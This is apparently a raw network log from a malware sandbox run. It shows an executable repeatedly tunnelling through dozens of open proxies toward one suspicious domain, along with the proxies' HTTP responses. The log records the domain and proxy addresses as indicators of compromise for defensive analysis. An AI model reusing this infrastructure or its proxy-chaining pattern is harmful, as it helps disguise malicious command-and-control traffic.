Feb 23, 2024 09:45:33.127214909 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:33 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Feb 23, 2024 09:45:33.127233028 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.4	54623	34.83.143.6	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.247987032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.110182047 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.4	54724	45.177.80.210	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.248262882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.4	54722	221.6.139.190	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.273211002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.605933905 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.4	54762	82.113.157.122	31280	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.284924984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.4	54736	125.228.143.207	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.285036087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.4	54757	34.95.243.122	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.286660910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.862025976 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.4	54725	103.49.202.252	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.286895990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.661168098 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.4	54613	20.205.61.143	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.287012100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.589632034 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.4	54738	124.70.78.157	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.287240982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.4	54737	123.30.154.171	7777	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.287533045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.627137899 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.4	54008	154.239.9.94	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.287581921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.365797043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.475684881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.475439072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.490500927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:06.506154060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:18.553093910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.4	54782	104.16.108.204	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.287636995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.374802113 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.4	54740	125.122.26.242	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.287904024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.4	54761	65.20.216.199	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.304147005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.4	54778	162.241.40.187	41501	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.304354906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.697079897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.061234951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834645033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.317095041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.4	54614	103.159.194.151	7777	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.347544909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.4	53996	103.144.18.137	2002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.403954983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.4	54779	52.236.0.6	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.406107903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.279433966 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.4	54029	191.37.155.135	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.406107903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.4	54645	181.224.205.42	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.414093018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.443859100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.538089037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.4	54815	43.153.55.205	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.450083017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.4	53973	113.204.4.142	10800	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.451095104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.4	54666	142.54.228.193	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.454982996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.4	54783	185.158.114.14	26586	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.488789082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.4	54763	103.118.46.174	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.497952938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.4	52877	51.15.240.207	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.499938965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.683363914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.865829945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.4	54787	201.184.159.28	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.500019073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.4	52889	194.163.159.93	46021	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.500179052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.683363914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.865803957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.865832090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.865518093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:06.865526915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.4	54791	192.252.216.81	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.515352011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.4	52872	145.239.2.102	42147	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.519494057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647030115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647262096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.4	52878	162.214.191.248	48346	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.522593975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647051096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647260904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.4	54641	103.242.119.88	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.555478096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.884979963 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Fri, 23 Feb 2024 08:45:30 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.4	54646	60.191.244.14	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.555510044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
